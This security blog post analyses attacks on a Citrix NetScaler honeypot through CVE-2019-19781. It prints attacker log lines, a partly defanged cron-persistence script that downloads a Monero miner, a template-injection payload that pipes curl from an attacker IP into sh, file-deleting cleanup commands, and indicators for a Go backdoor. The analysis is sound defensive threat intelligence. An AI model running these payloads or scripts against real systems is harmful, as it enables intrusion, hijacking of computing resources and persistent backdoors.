Skip to Main Content
January 13, 2020

NetScaler Honeypot

Written by Tyler Hudak

The Citrix NetScaler remote code execution vulnerability (CVE-2019-19781) has been a pretty popular topic over the last few weeks. Once publicexploits of the vulnerability started to appear in the wild, TrustedSec deployed a Citrix NetScaler honeypot. We did not have to wait long for the attacks to begin. Less than 24 hours after deployment, the honeypot was compromised for the first time.

January 12, 2020 Compromise

The first compromise came from IP address 193.187.174.104 and started with the attacker accessing the smb.conf file using the directory traversal attack. This is a good litmus test for the attackers to see if a system is vulnerable and was often seen before an attack occurred.

193.187.174.104 - - [12/Jan/2020:11:26:02 +0000] "GET /vpn/../vpns/cfg/smb.conf HTTP/1.1" 200 83 "-"

Shortly after, the HTTP access logs recorded a number of POSTs to newbm.pl followed by a GET to an XML file. This indicates the attacker used the Project India exploit, in which the tool executes a command through the vulnerability and places the output into an XML file. The XML file is then requested by the tool to show the output to the attacker. 

193.187.174.104 - - [12/Jan/2020:11:26:03 +0000] "POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1" 200 15 "-"
 193.187.174.104 - - [12/Jan/2020:11:26:04 +0000] "POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1" 200 15 "-"
 193.187.174.104 - - [12/Jan/2020:11:26:05 +0000] "POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1" 200 15 "-"
 193.187.174.104 - - [12/Jan/2020:11:26:11 +0000] "GET /vpn/../vpns/portal/AOUnCfwrjIJrpngpwLXHddqADAxTraBan.xml HTTP/1.1" 200 - "-"

Fortunately, to see what the attacker executed we only have to view the XML file left over in the /netscaler/portal/templates directory. From analysis of the XML files, the attacker ran “cat /etc/passwd” multiple times and then downloaded and ran a script named ci.sh (defanged and shown below).

!/bin/sh
 LDR="wget -q -O -"
 if [ -s /usr/bin/curl ]; then
   LDR="curl"
 fi
 if [ -s /usr/bin/wget ]; then
   LDR="wget -q -O -"
 fi
 crontab -l | grep -e "185.178.45.221" | grep -v grep
 if [ $? -eq 0 ]; then
   echo "cron good"
 else
   (
     crontab -l 2>/dev/null
     echo "* * * * * $LDR hxxp://185[.]178[.]45[.]221/ci.sh | sh > /dev/null 2>&1"
   ) | crontab -
 fi
 crontab -l | grep -e "62.113.112.33" | grep -v grep
 if [ $? -eq 0 ]; then
   echo "cron good"
 else
   (
     crontab -l 2>/dev/null
     echo "* * * * * $LDR hxxp://62[.]113[.]112[.]33/ci.sh | sh > /dev/null 2>&1"
   ) | crontab -
 fi
 download() {
    curl -o /var/tmp/netscalerd hxxp://217[.]12[.]221[.]12/netscalerd
 }
 if [ ! "$(ps -ax|grep '/var/tmp/netscalerd'|grep -v grep)" ];
 then
     download
     chmod +x /var/tmp/netscalerd
     nohup /var/tmp/netscalerd > /dev/null 2>&1 &
     sleep 5
     rm -rf /var/tmp/netscalerd
 else
     echo "Running"
 fi

The script performs two (2) tasks. The first is to check cron to make sure the that the backdoor entries are still present. If not, they are added back in. The backdoor entries are pretty simple—every minute they will download a new version of ci.sh from two (2) different IP addresses and execute them. Since the backdoor uses the Bourne shell, everything is logged in /var/log/sh.log.

The script verifies whether the program named netscalerd is running; if not, the program is downloaded and executed. After execution, the program is deleted. This is a common UNIX anti-forensics technique since, unlike Windows, programs can be deleted after they are executed and will continue to run.

Analysis of netscalerd (MD5 5be9abbe208a1e03ef3def7f9fa816d3) found that it is the Monero coin miner, XMRig 5.5.0.

The ci.sh backdoor was also used to execute commands other than the script above. After the backdoor had been active for around 36 hours, the following commands were executed:

find /netscaler/portal/scripts -type f -newermt 1/07/2019 0:00:00 -exec rm -rf {} ;
 find /netscaler/portal/templates -type f -newermt 1/07/2019 0:00:00 -exec rm -rf {} ;
 mv /netscaler/portal/scripts/newbm.pl /netscaler/portal/scripts/newbmnnn.pl

These commands deleted any files in the /netscaler/portal/scripts and /netscaler/portal/templates directories newer than January 07, 2019 and renamed the newbm.pl file to newbmnnn.pl. The newbm.pl allows remote code execution. Interestingly, this ended up deleting all of the files in these two (2) directories, which may or may not have been the intent of the attacker. Fortunately, we had made a backup of those directories.

Shortly after this occurred, the sites containing ci.sh no longer served them, so this could have been the attacker’s way to go dark.

Conclusion

Thus far we have not seen any more activity, but it is only a matter of time. Other sources have reported additional activity, so we expect more to come as time goes on. As we get more action, we will update this post with new information.

CryptoMining Update – January 17, 2020

Since January 14, the threat actor utilizing the Citrix vulnerability to deploy a Monero cryptominer had gone dark. On January 17, they resurfaced again. Coming from the same IP address of 193.187.174.104, the attacker exploited the vulnerability to execute a curl command.

193.187.174.104 - - [17/Jan/2020:01:42:17 +0000] "POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1" 200 15 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
 193.187.174.104 - - [17/Jan/2020:01:42:36 +0000] "POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1" 200 15 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
 193.187.174.104 - - [17/Jan/2020:07:36:51 +0000] "GET /vpn/../vpns/cfg/smb.conf HTTP/1.1" 200 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
 193.187.174.104 - - [17/Jan/2020:07:37:02 +0000] "POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1" 200 15 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
 193.187.174.104 - - [17/Jan/2020:07:37:23 +0000] "POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1" 200 15 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
 193.187.174.104 - - [17/Jan/2020:07:37:39 +0000] "GET /vpn/../vpns/portal/zLxGFJgjoJEjWiONoICBwqrbXOViYFHqh.xml HTTP/1.1" 200 144 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"

The curl command, shown below, was performed to download a Bourne shell script and execute it; this has been seen multiple times from this actor in the past. However, instead of downloading and executing ci.sh or ci2.sh, a new version named ci3.sh was obtained.

TITLE: [% template.new({'BLOCK'='exec(\'curl
185.178.45.221/ci3.sh | sh | tee
/netscaler/portal/templates/zLxGFJgjoJEjWiONoICBwqrbXOViYFHqh.xml\');'}) %]

This file is essentially the same as the previously seen scripts. Its purpose is to add entries into nobody’s cron to download and execute the backdoor, download netscalerd (the cryptominer), and then move and remove files from /netscaler/portal/scripts. However, two (2) new functions were added:

download() {
    curl -o /var/tmp/netscalerd hxxp://359328[.]selcdn[.]ru/cdn/xf
 }
 download2() {
    curl -o /var/tmp/nspps hxxp://359328[.]selcdn[.]ru/cdn/klli
 }

While the download() function had been in previous versions, it had instead downloaded a file from IP address 217.12.221.12 and not from a URL, as seen in this version. Analysis of this new download into /var/tmp/netscalerd (MD5 08f76eb3d62d53bff131d2cb0af2773d) shows it is still a Monero cryptominer.

Nspps Analysis

The new function, download2(), downloads a new file (MD5 568f7b1d6c2239e208ba97886acc0b1e). TrustedSec has done a preliminary analysis of the file and it appears to be a backdoor written in Go. Recently, FireEye reported a similar sounding backdoor named NOTROBIN, but this does not appear to be the same thing.

TrustedSec is still in the early stages of analysis at this time, but we have found the following:

  • The malware attempts to connect to the following IP address on port 80 (plaintext HTTP):
    • 188.120.254.224
    • 46.229.215.164
    • 62.113.112.127
  • When executed, it will write a unique identifier into /var/tmp/.netscalerd/uuid.
  • One of the first things it will do is send information onthe system it is on within an HTTP POST to /s. Note the UUID in the screenshot below is the same one written to the uuid file.
A screenshot of a social media post Description automatically generated
  • The program appears to have a copy of masscan that it can drop and execute. Masscan is a port scanner written to be very fast.
  • The Go function names reveal a lot of its capabilities, such as downloadAndExecute, connectForSocks, redisBrute, and backconnect. We are still working on reversing these.

This backdoor first appeared on VirusTotal on January 17, 2020 and as of this post, has zero (0) detections. According to the VirusTotal vhash search, sample 1c8c28e4db5ad7773da363146b10a340 is very similar to it and was first uploaded on January 6, 2020. Based on similar names and hashes, it looks like this may be a new iteration of a backdoor that started development in 2018.

Indicators of Compromise

62.113.112.33
185.178.45.221
193.187.174.104
217.12.221.12
359328.selcdn.ru
188.120.254.224
46.229.215.164
62.113.112.127
0e431d0d9e0fc371c163e4de5226c50b – ci.sh
5be9abbe208a1e03ef3def7f9fa816d3 - netscalerd
568f7b1d6c2239e208ba97886acc0b1e - nspps

References

https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/
https://www.trustedsec.com/blog/netscaler-remote-code-execution-forensics/

https://nvd.nist.gov/vuln/detail/CVE-2019-19781#vulnCurrentDescriptionTitle